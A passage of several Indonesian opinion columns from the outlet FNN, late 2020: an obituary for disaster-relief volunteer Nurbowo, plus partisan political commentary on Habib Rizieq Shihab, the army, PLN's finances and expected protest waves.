cukong yang membuat negara ini berantakan. Mereka itu adalah para penguasa, terutama penguasa yang punya pasukan dan mantan-mantan petinggi berbintang, yang selama ini menggendutkan rekening bank mereka. Yang memanfaatkan dan dimanfaatkan oleh para cukong bangsat. Orang-orang inilah yang gerah terhadap kekuatan perlawanan Habib. Itulah sebabnya mereka akan terus mencari-cari kesalahan IB. Mereka akan terus memburu habis HRS. Sampai tidak ada lagi perlawanan yang tersisa. Itulah target penguasa. Tapi, mungkinkah perlawanan rakyat dilenyapkan tanpa sisa? Sangat tidak mungkin. Bahkan, selagi pengejaran dengan cara-cara kotor dan zalim terhadap Habib tak dihentikan, perlawanan itu tampaknya akan semakin besar.[] (Penulis wartawan senior FNN.co.id)

Mengenang Mas Bowo; Kepergianmu Meninggalkan Terlalu Banyak Jejak Kemanusiaan

by Agi Betha Jakarta FNN - Jumat (04/12). Siapapun yang ingin menuliskan memori tentang sosok yang satu ini, pasti akan bingung hendak memulainya dari mana. Sulit memilih peristiwa yang terpenting, karena hampir seluruh jejak kehidupannya begitu berharga. Mas Nurbowo, lelaki Jawa berpenampilan sederhana. Ia wafat pada Rabu dini hari, 2 Desember 2020, ketika sedang melakukan kegiatan safari dakwah yang dicintainya. Sebagian sahabat memanggilnya kang, yai, ustadz, banyak sekali julukannya. Tapi dari semua atribut panggilan itu, sepertinya yang paling tepat adalah julukan guru. Guru Bowo adalah guru bagi semua orang yang mengenalnya. Ia adalah guru dakwah, guru menulis, guru manajemen kehumasan, gurunya para aktivis dan relawan, serta guru mitigasi dan tanggap darurat bencana. Sedangkan bagi sebagian orang lainnya, Mas Bowo adalah guru kesabaran dan kesederhanaan. Ia mencontohkan kepada teman-temannya tentang bagaimana cara merangkul lawan tanpa menyakiti, dan bagaimana memenangkan sebuah pertarungan idealisme tanpa merasa jadi pahlawan.Dengan semua kepiawaiannya itu, menjadi sangat jelas mengapa Mas Bowo 'dipaksa' menjadi Ketua Umum Aksi Relawan Mandiri (ARM) Himpunan Alumni IPB periode pertama. Karena ia adalah guru. Di dalam dirinya melekat keteladanan. Ia adalah contoh manusia yang istiqomah kepada jalan kemanusiaan yang menjadi pilihan hidupnya. Berbekal pengalaman luasnya, maka Guru Bowo harus membuat cetak biru ARM. Ia wajib mengajari para anggota ARM tentang bagaimana sebuah lembaga nirlaba kemanusiaan dan kebencanaan yang baru menetas itu dapat langsung berlari, tanpa harus belajar merangkak. ARM yang merupakan badan otonom bentukan Himpunan Alumni IPB yang baru diresmikan pada tanggal 10 Desember 2019. Namun organisasi relawan yang memiliki visi 'Bermartabat Menebar Manfaat' ini mempunyai misi menjadikan alumni dan organisasi sebagai elemen pemasyarakatan kebajikan secara seluas-luasnya. Kala itu Nurbowo menuturkan, "Program yang dilakukan ARM ini menyentuh seluruh fase kebencanaan, yaitu mitigasi, tanggap bencana, pemulihan (recovery), dan pembangunan kembali atau rekonstruksi." Jika nama-nama Pengurus HA-IPB seperti Ketua Umum Fathan Kamil, Sekjen Walneg S. Jas, Emy Mupid, Agus Rusli, dan Ali Fathoni adalah penggagas serta para bidan yang menggodok lahirnya ARM, maka Nurbowo bisa disebut sebagai dokternya. Ia bersama sahabatnya Ahmad Husein, yang berpengalaman sebagai jurnalis dan pejabat di Federasi Internasional Perhimpunan Palang Merah dan Bulan Sabit Merah (IFRC), menjadi otak penggerak dari jabang bayi yang baru dilahirkan. Di masa awal berdirinya ARM, kedua sejoli itu seperti sepasang tangan kanan dan kiri yang saling melengkapi. Mengapa para pendiri ARM begitu perlu mendaulat Mas Bowo yang sehari-hari sudah sangat sibuk dengan aktivitasnya sebagai pengurus di Dewan Dakwah Indonesia pusat? Itu karena ARM adalah sebuah organisasi kemanusiaan yang unik. Sebetulnya di berbagai universitas lain di Indonesia telah banyak organisasi tanggap darurat bencana yang memiliki misi serupa seperti ARM IPB. Bedanya, ARM murni lahir dari tangan para alumnus IPB yang tergabung dalam wadah Himpunan Alumni IPB sebagai hasil pemikiran mereka yang merasa memiliki energi lebih untuk menolong sesama. ARM ingin mendarmabaktikan kekuatan sosial berupa jaringan alumni yang luas di seluruh penjuru negeri, kepada setiap peristiwa bencana yang menimpa tanah air tercinta ini. Dalam diskusi antara para pemangkunya, ARM IPB bercita-cita tinggi untuk tidak hanya hadir sesaat setelah bencana melainkan juga harus dapat menjadi kepanjangan tangan yang amanah bagi penyaluran bantuan kepada para penyintas bencana yang selama berminggu-minggu bahkan berbulan-bulan, harus hidup di tenda-tenda pengungsian. Kiprahnya tidak sekadar membangun fasilitas MCK, melainkan juga memikirkan cara agar penduduk sebuah peradaban kecil di kaki gunung nan terpencil, misalnya, dapat merajut kembali harapan hidup, jauh setelah riuh rendah tanggap darurat berlalu. ARM bermimpi tetap terus mendampingi dan memantau para penyintas bencana yang hidupnya terlanjur luluh lantak, ketika media dan sorot kamera sudah pergi meninggalkan lokasi. Salah satu program kerja terpenting pascabencana yang ingin digarap ARM adalah bidang Ekonomi, yakni program stimulus untuk UKM serta pendampingan kepada petani, peternak, pekebun dan nelayan yang terdampak. Sedangkan bidang kemanusiaan dan pendidikan mencakup pembentukan 'Alumni Siaga Bencana' dan melakukan pelatihan penanggulangan bencana dengan target civitas akademik, alumni IPB, dan masyarakat di lokasi bencana. Atas dasar memiliki mimpi yang tinggi itulah maka ARM harus memiliki dana abadi dan harus dapat memperlakukan para relawannya secara profesional. ARM sejak awal wajib membangun sistem audit mandiri yang akuntabel dan kredibel, sebelum auditor profesional meneliti kinerjanya. Pendeknya, ARM harus mampu membuktikan diri sebagai saluran yang amanah bagi para mitra dan masyarakat donaturnya. Untuk mencapai semua harapan itu, ARM memerlukan komando dari sosok yang tidak saja sanggup bekerja profesional. Hidup pribadi kesehariannya pun harus seperti organisasi yang dipimpinnya, sama-sama kredibel dan akuntabel. Tidak boleh ada jejak hitam dalam riwayatnya. Dan persyaratan itu ada pada Nurbowo. Siapa Nurbowo? Meski sama-sama pernah mengenyam pendidikan di IPB, mungkin banyak juga yang belum mengenalnya , atau tidak mengetahui sepak terjang beliau, yang tercatat sebagai mahasiswa angkatan 24 (masuk tahun 1987) Jurusan Sosial Ekonomi Perikanan. Patut dimaklumi, karena nama Nurbowo tidak renyah untuk diperbincangkan oleh kalangan cafe addict atau high lifestyle minded. Mas Bowo adalah sosok sederhana, baik dari penampilan maupun wajahnya. Bersahaja dengan ide-ide yang megah. Mereka yang pernah bertemu dengannya akan langsung paham bahwa Bowo adalah orang lapangan. Kerut-merut dalam di wajahnya seolah mewakili setiap tugas kemanusiaan yang telah dijangkau oleh kedua tangannya. Cita-cita kemanusiaan Nurbowo jauh menjulang jika dibandingkan dengan tinggi badannya yang hanya sekitar 165 cm. Kedua kaki kecilnya itu menjadi barang mewah karena mampu menjangkau dusun dan pulau-pulau di perbatasan, yang namanya tak dikenal khalayak. Mas Bowo tidak pernah lelah berdakwah sekaligus menyalurkan bantuan ke pelosok-pelosok yang kebanyakan para wakil rakyat setempat pun tidak paham peta kemiskinan di sana.Selama satu tahun memimpin ARM, Nurbowo dan tim telah menjejakkan misi kemanusiaan di berbagai daerah bencana seperti kebakaran hutan di Riau, gempa Ambon, banjir besar awal tahun di Jabodetabek, banjir dan longsor Garut, penanganan dampak ekonomi Covid-19, dan berbagai misi kemanusiaan lainnya. ARM dengan cepat dilirik oleh para mitra, baik para donatur potensial, sesama LSM bidang kemanusiaan, maupun pemerintah pusat dan daerah. Bayi yang secara resmi belum genap satu tahun ini menjelma menjadi lembaga yang dianggap matang dan diakui keberadaannya di kancah nasional. Jauh sebelum menakhodai ARM, nama Nurbowo sebagai relawan telah lama hadir hampir di semua operasi penanggulangan bencana alam besar yang terjadi di seluruh Indonesia. Kisah penulis yang juga pecinta tugas kemanusiaan ini dimulai sejak ia masih menjadi mahasiswa IPB. Dan berlanjut pada tahun 1990-an saat ia menjabat Pemimpin Redaksi Jurnal Halal LPPOM MUI, lalu menjadi amil sekaligus jurnalis di Dompet Dhuafa. Ia sempat mendirikan dan memimpin berbagai media, sebelum akhirnya bergabung dengan LAZNAS Dewan Dakwah. Tugasnya termasuk mengurusi media dan kehumasan. Hingga terakhir nama Nurbowo tercatat sebagai Ketua Bidang Kominfo Dewan Dakwah Islamiyah Indonesia yang kini dipimpin oleh Dr. Adian Husaini. Saat terjadi bencana seperti gempa bumi, tsunami, tanah longsor, banjir, dan berbagai bencana alam lainnya, Mas Bowo bersama LAZ Dewan Dakwah hadir mengurusi para korban, mulai menyalurkan bantuan makanan, sandang, kebutuhan medis, perlengkapan ibadah dan sekolah, hingga memetakan dan membangun kembali masjid-masjid yang roboh dan rumah penduduk yang rusak. Ia orang yang lentur dalam membangun kerjasama dengan berbagai pihak di lapangan. Misi kemanusiaan yang pernah dilakukan Mas Bowo tidak hanya di Indonesia, tapi menjangkau hingga ke perkampungan Muslim Rohingya di Myanmar. Ia tidak hanya datang membantu para pengungsi yang jiwanya terancam, tapi juga mempertaruhkan keselamatan dirinya sendiri mengingat junta militer di sana sangat anti orang asing meski kehadirannya membawa misi kemanusiaan. Jika sedang tidak terjadi bencana, maka yang dilakukan Mas Bowo dan tim adalah melakukan safari dakwah. Seperti mengembangkan pendidikan, mengunjungi fasilitas pendidikan di pulau-pulau terpencil, dan menyambangi masyarakat yang memerlukan pendampingan. Pandemi yang merebak pun tak dapat menghentikan langkah sosok periang yang berhati lembut ini. Ketika orang lain memilih untuk menghentikan ritme kegiatan hidupnya, Mas Bowo justru lincah mendatangi kampung-kampung miskin yang rawan. Meski memiliki riwayat sakit jantung dan berkali-kali telah diingatkan oleh dokter agar banyak beristirahat, ia tetap berkeliling melaksanakan tugas kemanusian. Bersama LAZNAS-nya, lelaki berusia 52 tahun ini mengawali era pandemi covid 19 dengan sigap. Ia paham Covid-19 akan menjadi sebuah bencana besar kemanusiaan. Maka sejak dini, pada Bulan Maret 2020 lalu ia telah menggelar berbagai program sosialisasi dan tanggap darurat virus corona. Salah satunya dengan mengaktifkan fungsi masjid sebagai tempat pendidikan dan penyuluhan soal pandemi. Seperti yang dilakukan di Masjid Prana Sakti, yang terletak di Dusun Ngepet, Kecamatan Sanden, Kabupaten Bantul, Yogyakarta. Dalam sejarahnya, masjid itu sempat kehilangan auranya sebagai rumah Allah akibat tenggelam oleh hiruk-pikuk kehidupan wisata pantai yang kental dengan budaya maksiat. Berkat bantuan tim DDII, masyarakat di sana dapat mengembalikan fungsi masjid sebagai tempat beribadah serta melakukan fungsi sosial kemasyarakatan di kala pandemi. Sepekan terakhir sebelum ajal menjemput, Mas Bowo sedang berkeliling bersama tim Dewan Da'wah. Pada Hari Sabtu, 28 November 2020, ia berada di Palembang mengikuti Pelantikan Pengurus Baru Dewan Da'wah Islamiyah Indonesia (DDII) Sumatera Selatan di rumah dinas gubernur. Ini penting karena lembaga tempatnya mengabdi itu menjadi mitra pemerintah setempat dalam melahirkan calon-calon pemimpin bangsa melalui banyak pesantren yang diasuhnya. Dari Palembang ia menuju Bengkulu. Senin, 30 November 2020, Mas Bowo mendampingi Ketua Umum DDII yang baru, Dr. Adian Husaini, meresmikan pendirian Akademi Dakwah Indonesia (ADI) di Bengkulu yang merupakan lembaga pendidikan program diploma 2. Esok harinya, 1 Desember 2020, ia memilih memisahkan diri dari tim untuk menempuh perjalanan ke Padang, memenuhi undangan Dinas Pariwisata untuk promosi wisata halal. Menjelang tengah malam, bus travel yang ia tumpangi melewai kawasan Kabupaten Pesisir Selatan, Sumatera Barat. Di lokasi terakhir inilah Sang Khalik rupanya memutuskan bahwa tugas Mas Bowo di dunia telah selesai. Maut menjemput ketika Mas Bowo sedang berada di tengah ladang pengabdiannya, dekat dengan masyarakat yang dibantunya, serta dikelilingi oleh teman-teman seperjuangannya. Karya kemanusiaan Mas Bowo boleh jadi tak banyak tercatat di buku besar manusia. Tapi jika kita bisa bertanya kepada malaikat yg selalu mendampingi orang-orang baik, mungkin malaikat pun sudah berat membawa buku tebal yang berisi catatan amal almarhum selama hidup di dunia. ARM HA-IPB kehilangan sosok pemimpin yang selalu mampu menularkan semangat kegembiraan kepada organisasi. Dewan Dakwah Islamiyah Indonesia kehilangan salah satu kakinya yang lincah. Para alumni IPB kehilangan sahabat terbaiknya. Negeri yang masih dibalut kemiskinan seperti Indonesia kehilangan sosoknya yang tak kenal lelah berjuang di lapangan. Selamat jalan Mas Nurbowo, sosok bersahaja di atas bumi yang karya besarnya dicatat oleh langit. Penulis adalah alumni IPB; anggota Dewan Pengawas ARM HA-IPB.

Inikah Prolog Dajjal?

by Asyari Usman Medan FNN - Kamis (03/11). Akhir zaman selalu dikaitkan dengan kedatangan Dajjal. Yaitu, makhluk mirip manusia yang bermata satu. Ia digambarkan akan keluar-masuk kampung untuk menaklukkan manusia dengan kekuatan mistisnya. Ngeri dan seram. Dajjal itu ngeri karena akan membawa pengikutnya ke jurang kekufuran. Seram, karena manusia terfana oleh kekuatan mistisnya. Hanya bisa mengekor si Dajjal. Semoga Allah SWT selamatkan kita semua dan anak-cucu dari kekuatan sihir Dajjal. Tapi, dia pasti akan turun di akhir zaman. Mungkin “tak lama” lagi. Rasulullah Muhammad SAW menjelaskan tanda-tanda akhir zaman. Para ulama dan ustad juga telah menerangkannya dengan tuntas. Tidak ada lagi yang tersisa untuk disampaikan kepada umat akhir zaman ini. Tinggal mengulang-ulang ceramah saja. Sambil menunggu tanda-tanda akhir zaman itu muncul satu per satu. Penjelasan tentang tanda-tanda akhir zaman tidak hanya terkait dengan kesulitan sosial-ekonomi saja. Juga termasuk keanehan di bidang politik, khususnya tentang pemilihan pemimpin. Baginda Nabi berkata, “Akan datang kepada manusia tahun-tahun yang penuh tipu daya. Pendusta dipercaya dan orang jujur didustakan. Pengkhianat diberi amanah, orang yang amanah dikhianati.” Sabda Nabi ini diriwayatkan oleh Imam Ahmad. Hadits yang sangat terkenal. Dengan redaksi yang lebih kurang sama, hadits ini dicatat juga oleh Hakim dan para perawih lainnya. Sumber hadits ini adalah Abu Hurairah. Hadits ini kelihatannya cocok kalau mau disebut sebagai hadits tentang politik akhir zaman. Tentang pengendalian kekuasaan yang berjalan ‘abnormal’. Penuh dengan hal-hal yang tak masuk akal. Orang bodoh dan goblok bisa menjadi pemimpin. Dan dipatuhi oleh kaum cerdas-cendekia. Pemimpin yang aneh dari segala sisi itu dipandang hebat oleh orang-orang yang mengelilinginya. Padahal, tidak punya kapabilitas dan kapasitas. Pemimpin yang aneh itu disosialisasikan sebagai orang yang dinanti-nantikan. Dia dielu-elukan sebagai penegak keadilan bagi kaum tertindas. Padahal, pemimpin dungu itulah yang justru melakukan penindasan. Sebagaimana kaum pengikut Dajjal, orang-orang yang membersamai pemimpin bodoh dan jahil di zaman ini pun juga hadir di bawah alam sadar. Setidak-tidaknya para pengikut “di bawah alam sadar” versi Dajjal itu setara dengan orang-orang yang tersandera oleh kepentingan pribadi dan kelompok versi pemimpin dungu masa kini. Pada saat ini, umat sedang disajikan pertunjukan pemimpin yang memiliki ciri-ciri Dajjal. Kalaupun bukan Dajjal, boleh jadi dia adalah prolog Dajjal. Tapi, mungkinkah ada prolog Dajjal? Wallahu a’lam. Tidak ada teks kenabian yang menjelaskan tentang prolog Dajjal. Belum pernah terdengar penjelasan tentang Dajjal Kecil (prolog Dajjal) dan Dajjal Besar. Seandainya ada, seluruh umat pantas resah dan gundah jika prolog Dajjal itu ternyata muncul di bilangan kita, di zaman kita.[] (Penulis wartawan senior FNN.co.id)

Apa Kabar Renegosiasi di PLN

by Salamuddin Daeng Jakarta FNN – Rabu (02/11). Direktur Utama PLN Zulkifli Hasan menyadari benar apa permasalahan yang terjadi di Perusahaan Listrik Negara tersbut sejak dia menjabat sebagai orang nomor satu. Masalah utama di PLN datang dari kebijakan pemerintah. Kebijakan yang berkaitan dengan harga bahan bakar dan harga listrik swasta yang wajib dibeli PLN. Satu lagi permasalahan krusial datang dari sektor keuangan. Masalah itu sebagai akibat dari utang PLN yang membengkak sangat besar dalam mengejar ambisi mega proyek 35.000 megawatt. Masalah tersebut telah mengakibatkan PLN rugi besar-besaran. Meski harga batubara dan minyak mentah dunia telah turun hingga level terendah dalam sejarah, tetapi PLN tetap saja merugi. Kerugian yang diperkirakan tidak akan pernah berakhir. Untuk ahun 2020 saja, PLN diprediksi menderita kerugian Rp 44,3 triliun. Kerugian seperti selalu melekat dengan PLN. Kerugian yang terus meningkat dari tahun ke sebelumnya. Lebih gawat lagi tahun 2021 nanti. Kerugian PLN akan diperkirakan mencapai Rp 83,7 triliun. Sudah tak ada untung lagi dalam kamus PLN, baik dimasa kini maupun yang akan datang. Kerugiannya akan terus membengkak dan membengkak. Keuntungan menjadi barang langka untuk PLN. Dari mana saja sumber kerugian PLN tersebut? Ada tiga sumbernya. Pertama, dari pembelian bahan bakar. Jumlahya mencapai 34,6% dari total biaya. Kedua, pembelian listrik swasta yang mencapai 41,2% dari total biaya. Ketiga, biaya depresiasi dan keuangan sebesar 15,8% . Ketiga komponen biaya tersebut 91,6% dari total biaya yang harus dikeluarkan PLN setiap tahun. Siatuasi yang terjadi di PLN ini adalah bisnis BUMN paling konyol. Dimana sebagian besar pengeluaran atau biaya PLN ditentukan oleh kebijakan pemerintah. Kebijakan yang terbilang konyol untuk membuat PLN merugi dari tahun ke tahun. Kalau PLN bangkrut, maka membangkrutkan PLN adalah pemerintah. Kalau PLN merugi, maka yang membuat PLN merugi terus-menrus adalah pemerintah. Pembelian bahan bakar misalnya, harganya dipatok dalam formulasi yang ditetapkan dengan peraturan pemerintah. Begitu juga dengan pembelian listrik swasta. Harga pembelian PLN ditetapkan dengan peraturan pemerintah. Kedua biaya ini sudah mencakup 75,8 % dari total biaya yang harus ditanggung oleh PLN. Konyol kan pemerintah? Pertanyaannya, siapa yang untung dengan kebijakan harga bahan bakar dan harga listrik swasta yang konyol tersebut? Yang pasti bukan PLN. Yang diuntungkan adalah oligarki yang menjadi pebisnis bahan bakar, terutama pebisnis batu bara. Setelah itu siapa lagi yang untung paling besar? Yang pasti adalah pebisnis pembangkit batubara. Mereka selain punya tambang batubara, namun mereka sekaligus juga punya pembangkit listrik swasta. PLN tidak akan pernah untung. Sebaliknya pebisnis pembangkit tak akan pernah merugi. Demikian juga dengan pemasok batubara ke PLN, yang akan pernah merugi. Mereka akan terus dan terus untung sepanjang perjalanan PLN melakukan bisnis listrik. Selian PLN, siapa lagi yang dirugikan? Tidak lain adalah masyarakat Indonesia. Harga listrik Indonesia adalah salah satu yang paling mahal di dunia sekarang. Harga listrik Indonesia lebih mahal dari harga listrik India, China dan beberapa negara lain yang merupakan pesaing utama dalam perdagangan global. Jika dibandingkan dengan pendapatan perkapita rakyat Indonesia, harga listrik Indonesia adalah salah satu yang paling menghisap atau tertinggi di dunia. Hanya satu kata kunci bagi PLN untuk selamat dan keluar dari jebakan kerugian. Segera lakukan renegosiasi, baik untuk harga listrik swasta maupun harga pembelian batubara. Lalu, apa saja yang harus direnegosiasi? Pertama adalah harga bahan bakar, terutama batubara. Kedua, harga listrik yang wajib dibeli dengan skema take or pay milik swasta. Ketiga adalah utang-utang PLN warisan masa lalu. Renegosiasi ini telah menjadi komitmen Dirut PLN Zulkifli Hasan dalam membenahi struktur keuangan PLN. Langkah ini sebagai upaya terakhir menyelamatkan PLN dari kebangkrutan yang lebih parah. Publik bertanya, “apa kabar renegosiasi ini ya”? Semoga saja telah berjalan sebagaimana yang telah dijanjikan kepada publik. Penulis adalah Peneliti Pada Asosiasi Ekonomi dan Politik Indonesia (AEPI).

TNI Dantara Rakyat Yang Terbelah

by Dr. Masri Sitanggang Jakarta FNN – Rabu (02/12). Rakyat sudah terbelah. Itu nyata adanya. Kita bisa memulai kekacauan ini kapan saja. Namun tidak tahu kapan bagaimana bisa mengakhirinya. Maka, TNI aku dan TNI kita semua menjadi tumpuan harapan terakhir agar negeri ini tidak terkoyak-koyak. Pemerintahan boleh saja berganti kapan saja berkali-kali. Tetapi TNI, negara dan bangsa ini harus tetap bediri tegak. Harus kita pertahankan skeberadaannya ampai titik darah penghabisan. Bulu kudukku sempat juga berdiri, dan merinding. Sebuah video yang menunjukkan kerumunan massa mengelilingi mobil zeep tentara menyebar luas. Massa bernyanyi dengan irama “mana dimana anak kambing saya” dengan syair yang di ubah. Syair lagu itu menyindir. Malah bisa disebut menghujat tentara. Tidak jelas, dimana dan kapan kejadian itu persisnya? Aku menerima postingan itu 24 November 2020 lalu. Teks yang menyertai postingan video hanya menyebut, “mobil tentara yang mau copotin baliho HRS, dicegat massa di Padarincang, Serang, Banten. Maka terbayang aku akan hal-hal buruk akan segera terjadi. Masalahnya, dua video viral yang lain tentang pernyataan sikap petinggi TNI. Pernyataan itu dalam rentang waktu yang berdekatan sejak kepulangan Habib Rizieq Shihab (HRS) tanggal 10 November 2020 yang beredar luas pula. Keduanya bisa dihubungkan, baik langsung maupun tidak, dengan aktivitas kepulangan HRS dan senarai acara kemudiannya yang digelar simpatisan HRS. Video pertama adalah peringatan tegas Panglima TNI Marsekal Hadi Tjahjanto terkait pentingnya persatuan dan kesatuan demi menjaga stabilitas nasional. Hadi berkata, “jangan kita biarkan persatuan dan kesatuan bangsa itu hilang atau dikaburkan oleh provokasi dan ambisi yang dibungkus dengan berbagai identitas". Hadi juga mengingatkan, “siapa saja yang mengganggu persatuan dan kesatuan bangsa akan berhadapan dengan TNI". Peringatan ini dinilai oleh banyak pengamat sebagai mendadak. Diunggah di akun Twitter @Puspen_TNI, Minggu 15 November 2020, lima hari setelah penyambutan HRS di bandara Soeta yang fenomenal itu. Memang, Panglima tidak mengarahkan peringatannya kepada pihak tertentu. Tapi dapat dirasakan bahwa peringatan itu mengarah pada ancaman keamanan dari dalam negeri, bukan dari luar. Karena trending topic pada hari-hari itu menyangkut politik dan itu berkaitan dengan kedatangan IB HRS. Maka sangat sulit untuk dipungkiri bahwa peringatan mendadak itu dimaknai oleh banyak pengamat sebagai respon terhadap situasi “demam” kepulangan sang Imam HRS. Video kedua adalah instruksi Pangdam Jaya, Mayjen TNI Dudung Abdurahcman, ke jajarannya untuk mencopoti baligho HRS. Pangdam dengan tegas menyatakan, “kalau perlu FPI bubarkan saja. Kalau coba-coba dengan TNI, mari”. Pernyataan itu terkonfirmasi. Seusai apel kesiapan bencana dan Pilkada serentak, di Lapangan Silang Monas, Jakarta Pusat, Jumat (20/11/2020) pagi, Dudung kepada wartawan berkata, ”oke, ada berbaju loreng menurunkan baliho Habib Rizieq, itu atas perintah saya,” kata Dudung, Kejadian di Padarincang berupa pencegatan massa terhadap mobil tentara yang mau copotin baliho HRS, tentu dapat dilihat sebagai respon balik masyarakat terhadap dua video sikap petinggi TNI itu. Sikpa spontanitas masyarakat inilah yang membuat aku merinding. Nggak habis pikir aku. Terbayang olehku darah akan segera tertumpah membasahi bumi pertiwi. Perang saudara kapan saja akan terjadi. Ngerinya lagi, TNI diperhadapkan dengan rakyatnya sendiri. Hiiiiii,,,, Indonesia akan segera meluncur ke jurang kehancurannya? Sungguh, aku belum rela hal itu terjadi di masa hayatku ini. Untunglah Pangdam Jaya segera melakukan klarifikasi yang membuat rasa lega aku. Senin (23/11/2020), di Makodam Jaya, Pangdam didampingi Kapuspen TNI, Mayjen TNI Ahmad Riad mengatakan, "saya sampaikan kalau perlu, kalau perlu bubarkan kan FPI itu. Kalau Pangdam, TNI tidak bisa membubarkan. Itu harus pemerintah," katanya. Ditegaskan pula bahwa Panglima TNI tidak pernah bicara soal pembubaran FPI. Kata Kapuspen Ahmad Riad, pencopotan baligho HRS pun bukan atas perintah Panglima TNI. Selanjutnya, Rabu (25/11/2020), saat ngopi bareng ulama di kantornya, Pangdam Jaya berkata, "saya tidak pernah mengajak bahwa FPI atau yang lainnya sebagai musuh. Itu tidak ada. Itu saudara-saudara kita semua. Alangkah baiknya kalau ada mediasi, dan berdialog. Dihadiri oleh seluruh komponen." Dudung meminta agar tidak ada lagi pihak-pihak yang membenturkan antara TNI dengan ormas Islam, termasuk FPI. Sikap Dudung yang sungguh sangat melegakkan kita semua yang mendengarnya. Sekali lagi, pernyataan klarifikasi itu sunggguh sangat melegakan hati. Bayangan akan petumpahan darah sesame anak bangsa sirna seketika. Tetapi kekhwatiran hal yang menakutkan itu akan terjadi, tetap saja ada. Soalnya, di lapangan, memang sangat dirasakan adanya pihak-pihak yang berkeinginan membenturkan umat Islam dengan TNI dan Polri. Ini berpotensi besar menimbulkan kekacauan. Rajinnya pihak tertentu mencari-cari kesalahan para ustadz ketika berceramah, dan kemudian melaporkannya ke pihak kepolisian adalah indikasi kuat ke arah itu. Arah untuk membenturkan Umat Islam dengan TNI dan Polri. Keinginan itu ada, dan dirasakan sangat nyata. Munculnya “gerakan” kirim karangan bunga ke Markas Kodam Jaya. Terlepas dari apakah itu real atau tidak, yang memberikan dukungan ke Pangdam Jaya atas instruksi pencopotan baliho HRS dan “kalau perlu” bubarkan FPI, juga indikasi ke arah itu. Apalagi kemudian, ada pula rakyat sipil yang secara demonstrative ikut menurunkan bahkan membakar baliho itu, dan menyatakan penolakan terhadap HRS dalam berbagai bentuk ekspresi. Tetapi memang, ini resiko dari sebuah masyarakat yang terbelah. Dalam masyarakat yang terbelah seperti ini, lembaga yang sejatinya berada di tengah dan jadi penengah dalam hal ini TNI dan Polri serta penegak hukum lainnya, oleh satu pihak diupayakan untuk ditarik dan digunakan alat untuk memukul pihak sebelah. Tidak pula sulit menentukan pihak sebelah mana yang berpeluang besar mempengaruhi TNI dan Polri dan penegak hukum lainnya. sudah barang tentu pihak yang dekat dengan kekuasaan. Jujur harus diakui, rakyat tampaknya terbelah sejak Pilkada DKI 2017 menyusul kemenangan Anies Baswedan. Kenyataan ini semakin terbelah menjelang dan sesudah Pilpres 2019. Sayangnya, pemenang Pilpres 2019 pun sepertinya kurang mampu secara persuasip mendinginkan suasana dan menyatukan kembali anggota keluarga besar bangsa yang bernama Indonesia ini. Umat Islam, yang merupakan bagian terbesar anak bangsa ini, diakui atau tidak, merasa diperlakukan secara tidak adil. Meraka merasa terus dipojokkan dengan berbagai isu, seperti radikalime dan intoleransi. Umat islam merasa sedang dijadikan objek kriminalisasi. Dalam suasana kebathian seperti itu, wajar saja umat Islam mendambakan sosok pemimpin yang dapat mewakili mereka untuk menumpahkan pikiran dan perasaannya. Apalagi memang, saat ini partai-partai yang mestinya menjadi penyuara nurani rakyat, ternyata asyik dengan mainannya sedndiri-sendri. Tidak bisa menangkap getar-getir hati rakyatnya. Munculnya sosok ulama seperti HRS adalah satu sosok pilihan yang kekosongan tokoh yang dikagumi rakyat. Dengan demikian, upaya “kriminalisasi” terhadap HRS, hanya akan membangkitkan semangat perlawanan. Apalagi merosotnya situasi ekonomi yang dialami bangsa saat ini. Semua pihak, terutama pemerintah, lebih fokus pada upaya keluar dari kesulitan. Persatuan dan kesatuan sangat penting. Hal-hal yang bisa menimbukan disharmoni antar anak bangsa harus sekuat tenaga dihindari atau diselesaikan dengan pendekatan kekeluargaan. Bukan dengan pendekatan kekuasaan yang menggangi hukum. yang terkenal tebang pilih atau tajam sebelah. Langkah nyata pemerintah mengembalikan rakyat yang sudah terlanjur terbelah menjadi solid kembali harus ada dan jelas. Jangan ada bagian anak bangsa ini, apalagi yang mayoritas merasa terdzalimi. Kemunculan RUU-RUU kontroversi, yang telah nyata memicu munculnya berbabagai keributan, agar ditiadakan. Keberadaan Buzzer, yang kerjanya tak lebih dari menghancurkan kelompok yang dianggap lawan, sudah saatnya diakhiri. Buzzer diperlukan untuk membangun citra penguasa, tapi tidak untuk membangun bangsa. TNI saat ini, betul-betul menjadi tulang punggung keutuhan bangsa. Sebagai alat utama pertahanan negara untuk melindungi segenap bangsa dan seluruh tumpah darah Indonesia. TNI menjadi tumpuan harapan terakhir agar bangsa ini tidak terkoyak dan tercabik. TNI harus bisa menempatkan diri sebagai penjaga keutuhan bangsa dengan bijak dan beribawa diantara masyarakat yang terbelah. TNI tidak boleh ditarik-tarik ke sebelah untuk memukul sebelah yang lain. TNI harus tetap berdiri tegak senbagai penjaga bangsa dan negara. Pemeritahan boleh berganti atau bubar berkali-kali. Tetapi TNI, negara dan bangsa ini tidak boleh terkoyak sekali pun. Dengan alasan apapun itu. Cepat atau lambat, percayalah, bila pihak tertentu sudah berhasil membenturkan TNI dengan rakyatnya, maka itulah saat di mana negara ini menuju kehancuran. Kekacauan itu bisa kita mulai kapan saja. Tatapi percayalah, kita tidak akan tahu kapan bisa mengakhirinya. Itu yang harus kita hindari bersama. Wallahu a’lam bisshawab. Penulis adalah Sekjen DPP Masyumi Reborn.

Jokowi Hadapi Tiga Gelombang Aksi

by M Rizal Fadillah Bandung FNN – Rabu (02/12). Kasus pencarian terhadap kesalahan Habib Rizieq Shihab (HRS) dapat menimbulkan gelombang aksi masyarakat. Mencari-cari kesalahan dengan target penahanan dan proses peradilan atas HRS akan menciptakan gelombang aksi dari Front Pembela Islam (FPI) yang anggota tercatat sebanyak lima orang, massa alumini 212, dan pendukung HRS lainnya. Aksi massa akan datang pada setiap sesi proses mulainya pemeriksaan terhadap HRS di Kepolisian, Kejaksaan, dan Pengadilan. Berita-berita tentang aksi tersebut akan memenuhi media dalam dan luar negeri. Isu pendzaliman terhadap HRS akan mengemuka sejalan dengan militansi yang tinggi dari peserta aksi. Keriuhan tercipta dengan sendirinya. Gelombang aksi kedua adalah buruh yang belum puas dengan pengundangan UU Omnibus Law Cipta Kerja. Agenda aksi pun diperkirakan akan terus berkelanjutan. Kerugian pada penciptaan stabilitas politik, dan perusahaan yang terdampak akibat seringnya aksi-aksi buruh. Dampak dari seringnya aksi buruh adalah produksi barang dan jasa akan jeblok dengan sendirinya pada banyak perusahaan. Pengusaha bisa gulung tikar, atau ikut turut menekan pembatalan UU Omnibus Law yang dinilai telah membuat sial tersebut. Pengusaha dihadapkan 